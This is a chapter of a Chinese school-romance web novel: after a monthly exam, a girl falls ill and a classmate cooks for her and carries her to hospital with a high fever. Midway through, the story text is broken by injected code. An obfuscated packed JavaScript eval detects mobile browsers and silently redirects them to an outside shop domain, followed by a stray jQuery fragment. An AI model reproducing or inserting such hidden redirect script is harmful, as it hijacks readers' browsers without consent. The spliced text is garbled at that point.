第二天月考如期举行,跟以往没有什么区别,唯独这次,时纪橙带着莫名的紧张,不断心理暗示考不好考不好,这样等到出成绩,就会来个大反转——一定考好。
亘古不变的道理,算是给心中一点安慰,没考好也提前默哀了一番。
下午,最后一场副科考完,她如释重负回到教室,当作考场的教室,回到班级内的学生开始收拾桌椅、书本。走进教室,她看到洛昕白已经坐在收拾好的座位上,包括她的书本,全部被规整整齐,放在原来的位置上。
“谢谢,还帮我弄好了。”
洛昕白抬头,看到她的笑脸,轻轻摇摇头,“应该的。”话落,对坐下的她说,“这次感觉怎么样。”
俗话说考完一切都是浮云,她大胆道:“还行,能考全班第一。”年级第一笑了一下。
“那真的期待了。”
两人说罢,教室已经搞得差不多,时纪橙一眼就看到搬书进来的关于心,对他说道:“我去找关于心了。”
洛昕白顿了一下,像是不敢相信她会对他说这样的话,随即点头,“嗯。”
时纪橙小跑过去,从半路接过关于心手上的书,“我帮你搬。”说完,将一摞非常重的书“啪”一声,放到她的桌面上。关于心原地震惊,“啧啧”两声,跟上前,“你今天改性啦?”
“给你搬书还不乐意。”时纪橙瞪视。
“无事献殷勤,非奸即盗。”关于心一脸狐疑,抱着胳膊说,“说吧,你有什么事情。”
“你把人想得也太差了吧,好心帮你怎么这样想我。”她皱着眉嘟囔着嘴。
关于心一下卡壳,难道真的没事,紧急找补,“没没,我知道橙子最心善了,是我以小人之心,度君子之腹了。”
时纪橙高傲地扬起脖颈,以45°斜角瞥了她一眼,眼看时机成熟,淡淡道:“那怎么办?”
关于心汗颜,虽然没想到搬书能扯出如今场面,但还是说,“在我能力范围内,答应你一件事。可以吧。”
她心里“哈哈”大笑,等着就是这,不过,她表面却矜持道:“好吧,看你这样有诚意的份上。”
沈云才从外面回来,看到两人站在座位边,看到时纪橙眼睛一闪而过的精光,走过去,听到她说话。
“现在还真的有件事拜托你。”
关于心瞬间反应过来,“你在这等着我吧。”
“哎哎——”她腰身闪过面门来的一巴掌,“好事好事,你先听我说完嘛。”
这次轮到关于心抱着斜着眼看她,一副洗耳恭听的样子。时纪橙心想:还真的不好糊弄。
沈云一脸疑惑看着奇怪的两人,独自坐下来,看着她们两个。
时纪橙压低声音,就像为了不让某人听到,“当时星月杯总决赛,凌云跟我们一起去的,结束时他获得第三名,比洛昕白先一步出来,邀请我和宋得志一起吃个饭。”
关于心似乎闻到某种八卦的气息,凑近了她一点,沈云也不例外。
“当时光顾的比赛,随口答应了,昨天他又联系我说一起去吃饭。”
“那就去啊,只是吃个饭而已。”关于心不以为意。
时纪橙面目狰狞,“哎呀你又不是不知道。”她往身后努努嘴,关于心朝那个方向一眼看到低头写东西的洛昕白,一下了然于心,睁着大眼好奇地问,“你们已经!恋爱啦!”
这句话吓得沈云椅子发出一阵兹啦声,班内仿佛都安静了一秒,两人同时看向沈云,沈云瞬间赧然地低下头,小声说,“你们继续、继续……”
一阵小插曲过后,时纪橙内心抓狂,最终重重点头,像豁出某种决心,咬牙道:“对。因为我太太太喜欢他了,会顾及他的感受,不想让他胡思乱想……”
关于心,沈云因太过震惊,缓缓微张嘴巴。随即关于心手搭在她的肩膀处,往怀里扯,笑嘻嘻道:“给我讲讲呗,怎么个情况。事情起因经过如实交代。”
“哎——”时纪橙挣扎道:“等等再说这个,凌云约的饭局你替我去得了。”
关于心突然停住了动作,放开了她,低着头侧过脸,硬是不敢看她,“那什么,估计快上课了。坐好。”一屁股坐在椅子上,瞬间被时纪橙揪起来,“说好答应我一件事呢,这就是你答应的?”
关于心捂住脸,“哎呀,我去了不是更尴尬吗,也不是约我。要不然你就说你有事不方便?”
“我说了,他说下次再约,我一想还有下次!我这不找你了吗。求求你了,好心心~”
关于心哭丧着脸,“太尴尬了,你要让我独自一人去。”
她说,“不,不会让你一个人冒险的。”
“那还有谁?”
时纪橙视线不知往哪看,心里想还有谁?要个人出来啊,突然,与沈云四目相对。时纪橙搓搓手,一脸(不怀)好意。
沈云时刻注意这边的动静,此时,深刻觉悟八卦听不得,但为时晚矣。
“小云云~”时纪橙苍蝇搓手。
关于心在一旁一脸笑意看着这一幕,最终,沈云成功被(迫)策反,不曾反抗,答应随同关于心一起赴凌云之宴。
事情办妥,时纪橙一脸春心荡漾回到座位,至于豁出去说出去的话早就抛之脑后,其实不想去的原因也非常简单,她一旦被邀请去饭局,形影不离的洛昕白肯定会知道,到时候就是两个人一起去,但问题就出现在这里。
洛昕白与凌云每次见面,不管是初遇还是后来的每次相遇,洛昕白就像个无形的炸药桶,一见到他就开始倒计时,她可不想吃个饭还要暗地里调解断案。光想想都心累。
现在事情完美解决,可不愁人了。
回到座位,洛昕白看见她,就随手将手里的试卷交给她,明艳笑道:“上面是我写的答案,如果你想看可以看一下,成绩大概后天出来了。”
他的笑容,让时纪橙眼睛闪一下,太亮了,这是发生了她不知道的事吗……顿了一下,才接过试卷,整齐叠好,夹在数学书里,在他疑惑的目光中解释道:“我还是喜欢成绩出来,再接受审判,现在看,总有一题能让我今天复盘到半夜睡不着。”
洛昕白注视着她,盯着她一直动来动去的嘴唇,心神仿佛晃动一下。
“阿嚏!”时纪橙及时捂住嘴,才避免口水乱喷,但擦擦鼻子,还是不放心道:“没弄到你身上吧。”
洛昕白摇摇头,皱眉道:“你是不是有点感冒。”
时纪橙从抽屉里拿出一包新的抽纸,拆开拿出一张擦擦鼻子嘴巴,闻言摇头,“可能天气变冷,这几天熬夜写题受点寒气。”
擦完将纸巾扔进垃圾袋,笑道:“没事,我很少感冒,只是打了一个喷嚏,可能是谁在想我吧哈哈哈。”
窗外满树枯枝,落叶缤纷,风呼呼刮得窗户砰砰响。洛昕白注意到她从考场出来,就将外套脱下来挂在椅背上,里面是一层很薄的衣服,他取下外套,“穿上外套,现在天气变凉,容易感冒。”
时纪橙为了不让他太过担心,只好接过外套,“好。”
最后一节课,老师没有在讲课,几乎看了一节课的书,时纪橙感觉到脑子昏沉沉的,下课铃响起,学生放学都从教室里往外涌,她却慢了一拍。
洛昕白,“走啦,放学了。”
她才意识到放学了,点头闷声“嗯”了一声,随即拿上书包,微笑道:“走吧。”
洛昕白看她状态好像不对劲,但她微笑地背着书包,又很活力地往外走,他多看了几眼,随即跟上前,两人并排走出校门。
两人走的同一条路,停在时纪橙子家门口,她打开玄关的门,看向洛昕白,邀请道:“进去坐坐吗?”
他只是犹豫了一秒,立马点头,“嗯。”
时纪橙很高兴打开门进去,之所以这样是因为做饭的人选就有了,殊不知,在没有他的日子,她不是吃黑暗料理就是面条,还是网格面条。都已经快吃吐了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843267|207058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她心里为她的明智点赞。
洛昕白也很上道,夜晚的晚饭果真是他做的,两菜一汤,颇为丰盛。
时纪橙坐好,都快忍不住流口水了,“你这是进修厨艺去了,闻着好香。”
他端过来两碗米饭,递给她,“那今天就多吃一点。”
“嗯!”
饭桌上,两人吃得很安静,时纪橙已经沉迷于香喷喷的饭无可自拔,刚嚼完嘴里的菜,鼻子一痒,又一声,“阿嚏!”
洛昕白放下水杯,抽出身旁的两张纸,“马上喝点药。”
时纪橙接过纸巾,赶快擦了擦,带点鼻音,“没事不用喝药。”
洛昕白眉头一皱,没再开口。
晚饭结束后,时纪橙坐在客厅沙发上,玩手机。面前突然伸过来一只手,她抬眼看,是端着药杯的洛昕白,“预防感冒的,喝完。”
时纪橙伸手推回去,“我讨厌喝药。不想喝。”
“不行。”洛昕白见她如此抗拒,只能柔声哄道:“甜的,喝完就没事了。”
时纪橙拒绝的话咽回肚子,接过杯子,面露苦色,盯着杯子橙黄的液体,闭着眼一口闷了。喝完瘪着嘴,“好难喝。”
洛昕白将早已经准备好的另一杯温热清水递过去,她接过,咕噜咕噜灌进嘴里才觉得好受,嘴里那股甜中裹着草药涩意的余味,慢慢冲淡。
喝下去之后,困意慢慢涌上,时纪橙只是看了一会儿手机,便想回房间睡觉。她打了一个哈欠,对洛昕白说,“今天太晚了,客房还是老样子,你今天在这睡吧。”
洛昕白看她倦怠的样子,不知心里想什么,答应道:“好。”
说完,时纪橙头也不回地进入卧室。是夜,洛昕白睁开双眼,掀开被子,他不放心时纪橙,顺水推舟答应住下来,他要去看看她的情况,不然睡不安稳。
穿着拖鞋,轻轻打开她的房门,放轻脚步走进去。
一眼看见床上的人,被子被踢到旁边,时纪橙还穿着夏天的睡衣,裸露的皮肤被月光轻轻笼罩。洛昕白上前一步,黑夜里看不清她的情况,他伸出一只手轻覆在她的额头,滚烫的热意传递到手心。
洛昕白几乎立刻反应过来,手往下滑到颈侧,“好烫!”
时纪橙发烧了。
他走向放着温度计的地方,再回过来,叫醒她,“小橙醒醒……”
时纪橙脑袋昏昏沉沉,身上又冷又热,浑身没有力气,听到忽近忽远的声音,“……小橙……醒醒……”
她掀开沉重的眼皮,看到眼前一片暖黄,洛昕白的脸缓缓出现,他说道,“终于醒了,你发烧了,先量一下。”
“……发烧?”因为发烧,她思维都变得迟缓一些,洛昕白只好亲自将温度计放到她腋下,叮嘱道:“嗯先量一下体温,我先去看一下有没有退烧药。”
在这个公寓住的时间不短,他知道药箱放在哪里,拿出来药箱,翻遍了都没有一盒退烧药,洛昕白只好放下药箱,回到卧室。
时纪橙安静躺着,被子重新盖好,洛昕白哄着她取出温度计,举在面前。
“39.2°”
数字落在眼底,高烧远超预想,他垂眸看向昏昏沉沉的时纪橙,几乎立刻思索好对策,“先别睡。”他俯身轻声唤她,“烧的太高了,我们去医院。”
时纪橙闷声“嗯”了一声,有气无力从床上坐起来。
洛昕白小心扶着她的背,另一只手顺手捞过旁边的外套。
时纪橙只感觉天旋地转,慢悠悠穿上衣服,再次进来的洛昕白无奈,他看见外套里的睡衣,估计睡裤也是穿着的,不过,她腿部匀称,即使套着睡裤也看不出一丝痕迹。
洛昕白看她站不稳,蹲下身来,“我背着你。”
她看着弯腰的洛昕白,没有思考,几乎没有犹豫,整个身体贴在他身上。
洛昕白背着她下楼,快速去往医院。
而在医院值夜班的向女士接到一通电话。